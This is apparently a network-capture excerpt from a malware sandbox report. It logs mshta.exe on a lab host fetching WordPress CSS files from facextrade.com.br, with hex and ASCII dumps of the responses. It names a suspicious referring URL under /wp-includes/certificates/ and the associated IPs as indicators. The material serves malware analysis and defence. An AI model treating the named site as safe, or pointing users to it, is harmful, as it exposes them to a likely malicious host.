Aug 16, 2022 11:49:45.490927935 CEST	217	IN	Data Raw: 20 74 65 78 74 61 72 65 61 2e 73 70 61 6e 31 30 2c 0a 20 20 2e 75 6e 65 64 69 74 61 62 6c 65 2d 69 6e 70 75 74 2e 73 70 61 6e 31 30 20 7b 0a 20 20 20 20 77 69 64 74 68 3a 20 39 35 36 70 78 3b 0a 20 20 7d 0a 20 20 69 6e 70 75 74 2e 73 70 61 6e 39 Data Ascii: textarea.span10, .uneditable-input.span10 { width: 956px; } input.span9, textarea.span9, .uneditable-input.span9 { width: 856px; } input.span8, textarea.span8, .uneditable-input.span8 { width: 756px; } input.
Aug 16, 2022 11:49:45.490952015 CEST	218	IN	Data Raw: 6f 70 20 2e 63 6f 6e 74 61 69 6e 65 72 2c 0a 20 20 2e 6e 61 76 62 61 72 2d 66 69 78 65 64 2d 62 6f 74 74 6f 6d 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 77 69 64 74 68 3a 20 37 32 34 70 78 3b 0a 20 20 7d 0a 20 20 2e 73 70 61 6e 31 32 Data Ascii: op .container, .navbar-fixed-bottom .container { width: 724px; } .span12 { width: 724px; } .span11 { width: 662px; } .span10 { width: 600px; } .span9 { width: 538px; } .span8 { width: 476px; }
Aug 16, 2022 11:49:45.491446972 CEST	220	IN	Data Raw: 64 65 72 2d 62 6f 78 3b 0a 20 20 20 20 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 0a 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 32 2e 37 36 32 34 33 30 39 33 39 32 32 36 35 31 39 34 25 3b 0a 20 20 20 20 2a 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 Data Ascii: der-box; float: left; margin-left: 2.7624309392265194%; margin-left: 2.709239449864817%; } .row-fluid [class="span"]:first-child { margin-left: 0; } .row-fluid .controls-row [class="span"] + [class="span"] { mar
Aug 16, 2022 11:49:45.491477013 CEST	221	IN	Data Raw: 2e 72 6f 77 2d 66 6c 75 69 64 20 2e 6f 66 66 73 65 74 31 32 20 7b 0a 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 30 35 2e 35 32 34 38 36 31 38 37 38 34 35 33 30 34 25 3b 0a 20 20 20 20 2a 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 30 35 Data Ascii: .row-fluid .offset12 { margin-left: 105.52486187845304%; margin-left: 105.41847889972962%; } .row-fluid .offset12:first-child { margin-left: 102.76243093922652%; margin-left: 102.6560479605031%; } .row-fluid .offset11
Aug 16, 2022 11:49:45.707946062 CEST	228	IN	Data Raw: 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 35 34 2e 31 34 33 36 34 36 34 30 38 38 33 39 37 38 25 3b 0a 20 20 20 20 2a 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 35 34 2e 30 33 37 32 36 33 34 33 30 31 31 36 33 37 36 25 3b 0a 20 20 7d 0a 20 20 2e 72 6f Data Ascii: margin-left: 54.14364640883978%; margin-left: 54.037263430116376%; } .row-fluid .offset6:first-child { margin-left: 51.38121546961326%; margin-left: 51.27483249088986%; } .row-fluid .offset5 { margin-left: 45.5801104
Aug 16, 2022 11:49:45.710819006 CEST	236	OUT	GET /wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.20 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:49:45.930600882 CEST	252	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:49:45 GMT Server: Apache Last-Modified: Tue, 10 Aug 2021 23:54:20 GMT ETag: "a50de6-2b5-5c93d38685a84" Accept-Ranges: bytes Content-Length: 693 Connection: close Content-Type: text/css

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.22	49179	142.250.181.238	80	C:\Windows\System32\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:49:45.129555941 CEST	94	OUT	GET /translate_a/element.js?cb=googleTranslateElementInit2 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: translate.google.com Connection: Keep-Alive
Aug 16, 2022 11:49:45.163527012 CEST	119	IN	HTTP/1.1 301 Moved Permanently Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 16 Aug 2022 09:49:45 GMT Location: https://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit2 Cross-Origin-Opener-Policy: same-origin-allow-popups Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.22	49181	187.45.240.69	80	C:\Windows\System32\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:49:46.207945108 CEST	366	OUT	GET /wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:49:46.447283983 CEST	369	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:49:46 GMT Server: Apache Last-Modified: Tue, 10 Aug 2021 23:54:25 GMT ETag: "1eb103-41cd-5c93d38b56102" Accept-Ranges: bytes Content-Length: 16845 Connection: close Content-Type: text/css
Aug 16, 2022 11:49:46.447303057 CEST	370	IN	Data Raw: 23 73 62 5f 69 6e 73 74 61 67 72 61 6d 7b 77 69 64 74 68 3a 31 30 30 25 3b 6d 61 72 67 69 6e 3a 30 20 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 2d 6d 6f Data Ascii: #sb_instagram{width:100%;margin:0 auto;padding:0;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}#sb_instagram:after{content:"";display:table;clear:both}#sb_instagram.sbi_fixed_height{overflow:hidden;overflow-y:a
Aug 16, 2022 11:49:46.447339058 CEST	371	IN	Data Raw: 23 73 62 5f 69 6e 73 74 61 67 72 61 6d 2e 73 62 69 5f 63 6f 6c 5f 35 20 23 73 62 69 5f 69 6d 61 67 65 73 20 2e 73 62 69 5f 69 74 65 6d 7b 77 69 64 74 68 3a 32 30 25 7d 23 73 62 5f 69 6e 73 74 61 67 72 61 6d 2e 73 62 69 5f 63 6f 6c 5f 36 20 23 73 Data Ascii: #sb_instagram.sbi_col_5 #sbi_images .sbi_item{width:20%}#sb_instagram.sbi_col_6 #sbi_images .sbi_item{width:16.66%}#sb_instagram.sbi_col_7 #sbi_images .sbi_item{width:14.28%}#sb_instagram.sbi_col_8 #sbi_images .sbi_item{width:12.5%}#sb_instagr
Aug 16, 2022 11:49:46.447410107 CEST	373	IN	Data Raw: 73 74 61 67 72 61 6d 20 61 3a 61 63 74 69 76 65 2c 23 73 62 5f 69 6e 73 74 61 67 72 61 6d 20 61 3a 66 6f 63 75 73 2c 23 73 62 5f 69 6e 73 74 61 67 72 61 6d 20 61 3a 68 6f 76 65 72 7b 6f 75 74 6c 69 6e 65 3a 30 7d 23 73 62 5f 69 6e 73 74 61 67 72 Data Ascii: stagram a:active,#sb_instagram a:focus,#sb_instagram a:hover{outline:0}#sb_instagram img{display:block;padding:0!important;margin:0!important;max-width:100%!important;opacity:1!important}#sb_instagram .sbi_link{display:none;position:absolute;b
Aug 16, 2022 11:49:46.447429895 CEST	374	IN	Data Raw: 20 2e 73 62 69 5f 70 6c 61 79 62 74 6e 7b 7a 2d 69 6e 64 65 78 3a 32 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 34 70 78 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 31 39 70 78 3b 70 61 64 64 69 6e Data Ascii: .sbi_playbtn{z-index:2;top:50%;left:50%;margin-top:-24px;margin-left:-19px;padding:0;font-size:48px}#sb_instagram .sbi_type_carousel .fa-clone{right:12px;top:12px;font-size:24px;text-shadow:0 0 8px rgba(0,0,0,.3)}#sb_instagram .sbi_type_carou
Aug 16, 2022 11:49:46.447446108 CEST	375	IN	Data Raw: 65 61 72 7d 23 73 62 5f 69 6e 73 74 61 67 72 61 6d 20 2e 66 61 2d 70 75 6c 73 65 2c 23 73 62 69 5f 6c 69 67 68 74 62 6f 78 20 2e 66 61 2d 70 75 6c 73 65 7b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 3a 66 61 2d 73 70 69 6e 20 31 73 20 69 Data Ascii: ear}#sb_instagram .fa-pulse,#sbi_lightbox .fa-pulse{-webkit-animation:fa-spin 1s infinite steps(8);animation:fa-spin 1s infinite steps(8)}@-webkit-keyframes fa-spin{0%{-webkit-transform:rotate(0);transform:rotate(0)}100%{-webkit-transform:rota
Aug 16, 2022 11:49:46.447490931 CEST	377	IN	Data Raw: 20 2e 32 73 20 6c 69 6e 65 61 72 2c 63 6f 6c 6f 72 20 2e 32 73 20 6c 69 6e 65 61 72 3b 2d 6d 6f 7a 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 62 61 63 6b 67 72 6f 75 6e 64 20 2e 32 73 20 6c 69 6e 65 61 72 2c 63 6f 6c 6f 72 20 2e 32 73 20 6c 69 6e 65 61 Data Ascii: .2s linear,color .2s linear;-moz-transition:background .2s linear,color .2s linear;-ms-transition:background .2s linear,color .2s linear;-o-transition:background .2s linear,color .2s linear;transition:background .2s linear,color .2s linear}@m
Aug 16, 2022 11:49:46.447567940 CEST	378	IN	Data Raw: 69 5f 68 65 61 64 65 72 5f 69 6d 67 7b 77 69 64 74 68 3a 31 32 30 70 78 3b 68 65 69 67 68 74 3a 31 32 30 70 78 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 36 30 70 78 7d 23 73 62 5f 69 6e 73 74 61 67 72 61 6d 20 2e 73 62 5f 69 6e 73 74 61 67 72 Data Ascii: i_header_img{width:120px;height:120px;border-radius:60px}#sb_instagram .sb_instagram_header.sbi_large .sbi_header_img img{width:120px;height:120px;border-radius:60px}#sb_instagram .sb_instagram_header.sbi_large .sbi_header_text h3{font-size:28
Aug 16, 2022 11:49:46.447583914 CEST	380	IN	Data Raw: 61 64 69 75 73 3a 34 30 70 78 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 34 30 70 78 7d 23 73 62 5f 69 6e 73 74 61 67 72 61 6d 20 2e 73 62 5f 69 6e 73 74 61 67 72 61 6d 5f 68 65 61 64 65 72 20 2e 73 62 69 5f 68 65 61 64 65 72 5f 69 6d 67 5f 68 Data Ascii: adius:40px;border-radius:40px}#sb_instagram .sb_instagram_header .sbi_header_img_hover{opacity:0;position:absolute;width:100%;top:0;bottom:0;left:0;text-align:center;color:#fff;background:rgba(0,0,0,.75)}#sb_instagram .sb_instagram_header .sbi
Aug 16, 2022 11:49:46.447662115 CEST	381	IN	Data Raw: 66 74 3a 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 37 35 29 3b 2d 6d 6f 7a 2d 6f 70 61 63 69 74 79 3a 30 3b 2d 6b 68 74 6d 6c Data Ascii: ft:0;text-align:center;color:#fff;background:rgba(0,0,0,.75);-moz-opacity:0;-khtml-opacity:0;opacity:0;border-radius:40px;transition:opacity .2s}#sb_instagram .sb_instagram_header a:focus .sbi_header_img_hover,#sb_instagram .sb_instagram_heade
Aug 16, 2022 11:49:46.687478065 CEST	389	IN	Data Raw: 65 61 73 65 2d 69 6e 7d 23 73 62 5f 69 6e 73 74 61 67 72 61 6d 20 2e 73 62 69 5f 6c 6f 61 64 5f 62 74 6e 20 2e 73 62 69 5f 62 74 6e 5f 74 65 78 74 2c 23 73 62 5f 69 6e 73 74 61 67 72 61 6d 20 2e 73 62 69 5f 6c 6f 61 64 5f 62 74 6e 20 2e 73 62 69 Data Ascii: ease-in}#sb_instagram .sbi_load_btn .sbi_btn_text,#sb_instagram .sbi_load_btn .sbi_loader{opacity:1;transition:all .1s ease-in}#sb_instagram .sbi_hidden{opacity:0!important}#sb_instagram #sbi_load .sbi_load_btn,#sb_instagram .sbi_follow_btn a{

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.22	49182	187.45.240.69	80	C:\Windows\System32\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:49:46.436876059 CEST	368	OUT	GET /wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.carousel.css?ver=1.24 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:49:46.676377058 CEST	383	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:49:46 GMT Server: Apache Last-Modified: Tue, 02 Apr 2019 21:39:19 GMT ETag: "a4fae3-1724-58592f82d6fc0" Accept-Ranges: bytes Content-Length: 5924 Connection: close Content-Type: text/css Data Raw: 2f 2a 20 0a 20 2a 20 09 43 6f 72 65 20 4f 77 6c 20 43 61 72 6f 75 73 65 6c 20 43 53 53 20 46 69 6c 65 0a 20 2a 09 76 31 2e 32 34 0a 20 2a 2f 0a 0a 2f 2a 20 63 6c 65 61 72 66 69 78 20 2a 2f 0a 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 77 72 61 70 70 65 72 3a 61 66 74 65 72 20 7b 0a 09 63 6f 6e 74 65 6e 74 3a 20 22 2e 22 3b 0a 09 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 09 63 6c 65 61 72 3a 20 62 6f 74 68 3b 0a 09 76 69 73 69 62 69 6c 69 74 79 3a 20 68 69 64 64 65 6e 3b 0a 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 30 3b 0a 09 68 65 69 67 68 74 3a 20 30 3b 0a 7d 0a 2f 2a 20 64 69 73 70 6c 61 79 20 6e 6f 6e 65 20 75 6e 74 69 6c 20 69 6e 69 74 20 2a 2f 0a 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 7b 0a 09 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 2d 6d 73 2d 74 6f 75 63 68 2d 61 63 74 69 6f 6e 3a 20 70 61 6e 2d 79 3b 0a 7d 0a 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 77 72 61 70 70 65 72 7b 0a 09 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 09 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 33 64 28 30 70 78 2c 20 30 70 78 2c 20 30 70 78 29 3b 0a 7d 0a 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 77 72 61 70 70 65 72 2d 6f 75 74 65 72 7b 0a 09 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 7d 0a 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 77 72 61 70 70 65 72 2d 6f 75 74 65 72 2e 61 75 74 6f 48 65 69 67 68 74 7b 0a 09 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 20 68 65 69 67 68 74 20 35 30 30 6d 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 0a 09 2d 6d 6f 7a 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 20 68 65 69 67 68 74 20 35 30 30 6d 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 0a 09 2d 6d 73 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 20 68 65 69 67 68 74 20 35 30 30 6d 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 0a 09 2d 6f 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 20 68 65 69 67 68 74 20 35 30 30 6d 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 0a 09 74 72 61 6e 73 69 74 69 6f 6e 3a 20 68 65 69 67 68 74 20 35 30 30 6d 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 0a 7d 0a 09 0a 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 69 74 65 6d 7b 0a 09 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 0a 7d 0a 2e 6f 77 6c 2d 63 6f 6e 74 72 6f 6c 73 20 2e 6f 77 6c 2d 70 61 67 65 2c 0a 2e 6f 77 6c 2d 63 6f 6e 74 72 6f 6c 73 20 2e 6f 77 6c 2d 62 75 74 74 6f 6e 73 20 64 69 76 7b 0a 09 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0a 7d 0a 2e 6f 77 6c 2d 63 6f 6e 74 72 6f 6c 73 20 7b 0a 09 2d 77 65 62 6b 69 74 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 20 6e 6f 6e 65 3b 0a 09 2d 6b 68 74 6d 6c 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 20 6e 6f 6e 65 3b 0a 09 2d 6d 6f 7a 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 20 6e 6f 6e 65 3b 0a 09 2d 6d 73 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 20 6e 6f 6e 65 3b 0a 09 75 73 65 72 2d 73 65 6c 65 63 74 3a 20 6e 6f 6e 65 3b 0a 09 2d 77 65 62 6b 69 74 2d 74 61 70 2d 68 69 67 68 6c 69 67 68 74 2d 63 6f 6c 6f 72 3a 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 29 3b 0a 7d 0a Data Ascii: /* * Core Owl Carousel CSS File v1.24 //* clearfix /.owl-carousel .owl-wrapper:after {content: ".";display: block;clear: both;visibility: hidden;line-height: 0;height: 0;}/ display none until init */.owl-carousel{display: none;position: relative;width: 100%;-ms-touch-action: pan-y;}.owl-carousel .owl-wrapper{display: none;position: relative;-webkit-transform: translate3d(0px, 0px, 0px);}.owl-carousel .owl-wrapper-outer{overflow: hidden;position: relative;width: 100%;}.owl-carousel .owl-wrapper-outer.autoHeight{-webkit-transition: height 500ms ease-in-out;-moz-transition: height 500ms ease-in-out;-ms-transition: height 500ms ease-in-out;-o-transition: height 500ms ease-in-out;transition: height 500ms ease-in-out;}.owl-carousel .owl-item{float: left;}.owl-controls .owl-page,.owl-controls .owl-buttons div{cursor: pointer;}.owl-controls {-webkit-user-select: none;-khtml-user-select: none;-moz-user-select: none;-ms-user-select: none;user-select: none;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);}
Aug 16, 2022 11:49:46.676398039 CEST	384	IN	Data Raw: 0a 2f 2a 20 6d 6f 75 73 65 20 67 72 61 62 20 69 63 6f 6e 20 2a 2f 0a 2e 67 72 61 62 62 69 6e 67 20 7b 20 0a 20 20 20 20 63 75 72 73 6f 72 3a 75 72 6c 28 67 72 61 62 62 69 6e 67 2e 70 6e 67 29 20 38 20 38 2c 20 6d 6f 76 65 3b 0a 7d 0a 0a 2f 2a 20 Data Ascii: /* mouse grab icon /.grabbing { cursor:url(grabbing.png) 8 8, move;}/ fix */.owl-carousel .owl-wrapper,.owl-carousel .owl-item{-webkit-backface-visibility: display;-moz-backface-visibility: display;-ms-backface-visibil
Aug 16, 2022 11:49:46.676419973 CEST	385	IN	Data Raw: 65 20 62 6f 74 68 3b 0a 20 20 2d 6d 6f 7a 2d 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 63 61 6c 65 54 6f 46 61 64 65 20 2e 37 73 20 65 61 73 65 20 62 6f 74 68 3b 0a 20 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 63 61 6c 65 54 6f 46 61 64 65 20 2e 37 73 20 Data Ascii: e both; -moz-animation: scaleToFade .7s ease both; animation: scaleToFade .7s ease both;}.owl-goDown-in { -webkit-animation: goDown .6s ease both; -moz-animation: goDown .6s ease both; animation: goDown .6s ease both;}/* scaleUp
Aug 16, 2022 11:49:46.676443100 CEST	387	IN	Data Raw: 61 74 65 5a 28 2d 35 30 30 70 78 29 20 74 72 61 6e 73 6c 61 74 65 58 28 2d 32 30 30 25 29 3b 20 7d 0a 7d 0a 40 2d 6d 6f 7a 2d 6b 65 79 66 72 61 6d 65 73 20 62 61 63 6b 53 6c 69 64 65 4f 75 74 20 7b 0a 20 20 32 35 25 20 7b 20 6f 70 61 63 69 74 79 Data Ascii: ateZ(-500px) translateX(-200%); }}@-moz-keyframes backSlideOut { 25% { opacity: .5; -moz-transform: translateZ(-500px); } 75% { opacity: .5; -moz-transform: translateZ(-500px) translateX(-200%); } 100% { opacity: .5; -moz-transform: tr
Aug 16, 2022 11:49:46.676465034 CEST	388	IN	Data Raw: 6f 20 7b 20 6f 70 61 63 69 74 79 3a 20 30 3b 20 2d 6d 6f 7a 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 2e 38 29 3b 20 7d 0a 7d 0a 40 6b 65 79 66 72 61 6d 65 73 20 73 63 61 6c 65 54 6f 46 61 64 65 20 7b 0a 20 20 74 6f 20 7b 20 6f 70 61 Data Ascii: o { opacity: 0; -moz-transform: scale(.8); }}@keyframes scaleToFade { to { opacity: 0; transform: scale(.8); }}@-webkit-keyframes goDown { from { -webkit-transform: translateY(-100%); }}@-moz-keyframes goDown { from { -moz-transfor

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.22	49183	187.45.240.69	80	C:\Windows\System32\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:49:46.909616947 CEST	404	OUT	GET /wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.theme.css?ver=1.24 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:49:47.141205072 CEST	416	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:49:47 GMT Server: Apache Last-Modified: Tue, 02 Apr 2019 21:39:19 GMT ETag: "a4faed-680-58592f82d6fc0" Accept-Ranges: bytes Content-Length: 1664 Connection: close Content-Type: text/css
Aug 16, 2022 11:49:47.141252041 CEST	418	IN	Data Raw: 2f 2a 0a 2a 20 09 4f 77 6c 20 43 61 72 6f 75 73 65 6c 20 4f 77 6c 20 44 65 6d 6f 20 54 68 65 6d 65 20 0a 2a 09 76 31 2e 32 34 0a 2a 2f 0a 0a 2e 6f 77 6c 2d 74 68 65 6d 65 20 2e 6f 77 6c 2d 63 6f 6e 74 72 6f 6c 73 7b 0a 09 6d 61 72 67 69 6e 2d 74 Data Ascii: /** Owl Carousel Owl Demo Theme v1.24/.owl-theme .owl-controls{margin-top: 10px;text-align: center;}/* Styling Next and Prev buttons */.owl-theme .owl-controls .owl-buttons div{color: #FFF;display: inline-block;zoom: 1;
Aug 16, 2022 11:49:47.141273975 CEST	418	IN	Data Raw: 2e 6f 77 6c 2d 63 6f 6e 74 72 6f 6c 73 20 2e 6f 77 6c 2d 70 61 67 65 20 73 70 61 6e 2e 6f 77 6c 2d 6e 75 6d 62 65 72 73 7b 0a 09 68 65 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 77 69 64 74 68 3a 20 61 75 74 6f 3b 0a 09 63 6f 6c 6f 72 3a 20 23 46 46 Data Ascii: .owl-controls .owl-page span.owl-numbers{height: auto;width: auto;color: #FFF;padding: 2px 10px;font-size: 12px;-webkit-border-radius: 30px;-moz-border-radius: 30px;border-radius: 30px;}/* preloading images */.owl-item.load

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.22	49184	187.45.240.69	80	C:\Windows\System32\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:49:46.912892103 CEST	404	OUT	GET /wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:49:47.140077114 CEST	406	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:49:47 GMT Server: Apache Last-Modified: Tue, 02 Apr 2019 21:35:52 GMT ETag: "a4f99b-7abe-58592ebd6de00" Accept-Ranges: bytes Content-Length: 31422 Connection: close Content-Type: text/css Data Raw: 2f 2a 20 23 53 68 6f 72 74 63 6f 64 65 73 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 20 2a 2f 0a 2f 2a 20 52 65 63 65 6e 74 20 50 6f 73 74 73 20 53 68 6f 72 74 63 6f 64 65 73 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 2a 2f 0a 2e 72 65 63 65 6e 74 2d 70 6f 73 74 73 20 7b 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 30 20 2d 32 30 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 62 6f 72 64 65 72 3a 20 6e 6f 6e 65 3b 0a 20 20 6c 69 73 74 2d 73 74 79 6c 65 3a 20 6e 6f 6e 65 3b 0a 20 20 2f 2a 20 49 6d 61 67 65 73 20 46 6f 72 6d 61 74 20 54 79 70 65 20 2a 2f 0a 20 20 2f 2a 20 51 75 6f 74 65 20 46 6f 72 6d 61 74 20 54 79 70 65 20 2a 2f 0a 20 20 2f 2a 20 4c 69 6e 6b 20 46 6f 72 6d 61 74 20 54 79 70 65 20 2a 2f 0a 20 20 2f 2a 20 41 75 64 69 6f 20 46 6f 72 6d 61 74 20 54 79 70 65 20 2a 2f 0a 20 20 2f 2a 20 56 69 64 65 6f 20 46 6f 72 6d 61 74 20 54 79 70 65 20 2a 2f 0a 7d 0a 2e 72 65 63 65 6e 74 2d 70 6f 73 74 73 5f 6c 69 20 7b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 32 30 70 78 20 32 30 70 78 3b 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 62 6f 72 64 65 72 3a 20 6e 6f 6e 65 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 6e 6f 6e 65 3b 0a 20 20 6c 69 73 74 2d 73 74 